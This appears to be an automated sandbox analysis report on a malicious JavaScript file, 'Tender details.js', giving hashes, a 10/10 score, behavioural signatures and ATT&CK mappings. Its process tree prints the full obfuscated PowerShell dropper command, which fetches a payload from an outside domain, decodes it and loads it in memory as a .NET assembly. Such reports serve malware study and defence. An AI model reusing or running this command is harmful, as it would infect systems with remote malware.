209f9188b10c18bde01d9318508eea4f684ee27228d1a9559394b032a053c1a6

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 14:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Tender details.js
Size 1.0MB
Sample260820-r1fnesdr41
SHA256 209f9188b10c18bde01d9318508eea4f684ee27228d1a9559394b032a053c1a6
MD5 56d29055cf92bed99edd5cb8882e03d3
SHA1 68e85da22e81bd03f740f3b25f550aefc1be0923
SHA512 5424c15368731a94a54b22427656b72552748b390e8096d1339a96d7b942271c1821e1e2f59438bb7a2d1c0681259561730a36f12ab12a3389db4515bbcf8f6e
SSDEEP 96:f12V0uxsyzJX261W12HX//2MBe1ABJzOr1F1j1F1pMx1c18Rdx715prRp71jxTJm:6DC9QPMlqC7
TLSH
T186352D23A4D3D5531DE2B5F8DB9CA5C12AFA528727C13393A671C3EC160FC8C905AE5A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://www.2goelectricity.cloud/MSI_PRO.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	944	5096	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
944	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
944	powershell.exe
944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	944	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Tender details.js"
1⤵
PID:5616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$quintuple=''http://www.2goelectricity.cloud/MSI_PRO.png''; $cannot = [System.Net.HttpWebRequest]::Create($quintuple); $cannot.UserAgent = ''Mozilla/5.0''; $slackener = $cannot.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($slackener); $subschemes = $reader.ReadtoEnd(); $Tracey=''IN-''; $customarily=''-in1''; $mutilous=[string]::IndexOf($subschemes, $Tracey); $bufferhead=$subschemes.LastIndexOf($customarily); if($mutilous -eq -1 -or $bufferhead -eq -1){return}; $trichotomic=$mutilous+$Tracey.Length; $superinsulated=$subschemes.Substring($subschemes.IndexOf($Tracey)+$Tracey.Length, $bufferhead-($subschemes.IndexOf($Tracey)+$Tracey.Length)); $pushbacks=$superinsulated.Replace(''*'',''A'').ToCharArray(); $necrotomy = -join $pushbacks[($pushbacks.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($necrotomy)); $allotrophic=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $megagramme=$allotrophic.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $lentiginous=(''sZCmrb7raM8lAX7jJ8r9ENOUqYvwHflryWTlPniL+lQYk0na4DFqwcBd+VyguHAkM6VW/UYXZ3+JAD6AxGVzMA=='','''',''5MdEedDtZnlJy3YBw5bhJ+zFn3BFA2nJxGW1dpoQGgPXhgCw/saA6CBKt377cSuL'',''81TgDRTomQjx6PP6Z+6hSiI9TMJquL2VUpeKU5pfB1o='',''YsSmstWHtHii5xIsRGPlmQ3zt9wzEk0VAH/QJ81ut2U='',''i4eZHOiGHujVfPru8YQMJyyiY7hQCqhUn3kb19DUgkU='',''5jZoK3y/lHUd2FlOQ7bvhdx23IOXxXH2zcvNIT6yPVs='','''',''lTIran8tAOsrkloB76KJBR6dmoupmcd4CMPfatWpymY='',''PZyhe6uM6s0/5/YLZdCFxEcp0EiBnqLsg17kb08BzTgINIISjOHGOmDlE26maZRm'',''VSbb+ufg9d/pdEhSqXKglveQqpEhJSrASDpPnKwnU2Q='',''pJn79FF174SRWahpEdyqPpiu1I0JvIxBxU7C2oK1UnI='',''y+LQI7rjrZRzJcN2ImeAVgMCMU3zlw8cgmdEKGYvVFg='','''',''JsqvI8CDHLkfIATJJxSS23rdK4QB5jjv+wOIv5TROno='',''/k3WA67YEGhrZ3l00/SmqoVlX9Xmmj/fWtFPU1ty65g='','''','''',''''); try{$biocatalysts=($megagramme.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($biocatalysts.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$lentiginous)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/944-0-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp

Download

memory/944-3-0x0000019F3B9B0000-0x0000019F3B9D2000-memory.dmp

Download

memory/944-4-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-5-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-6-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-9-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/944-12-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download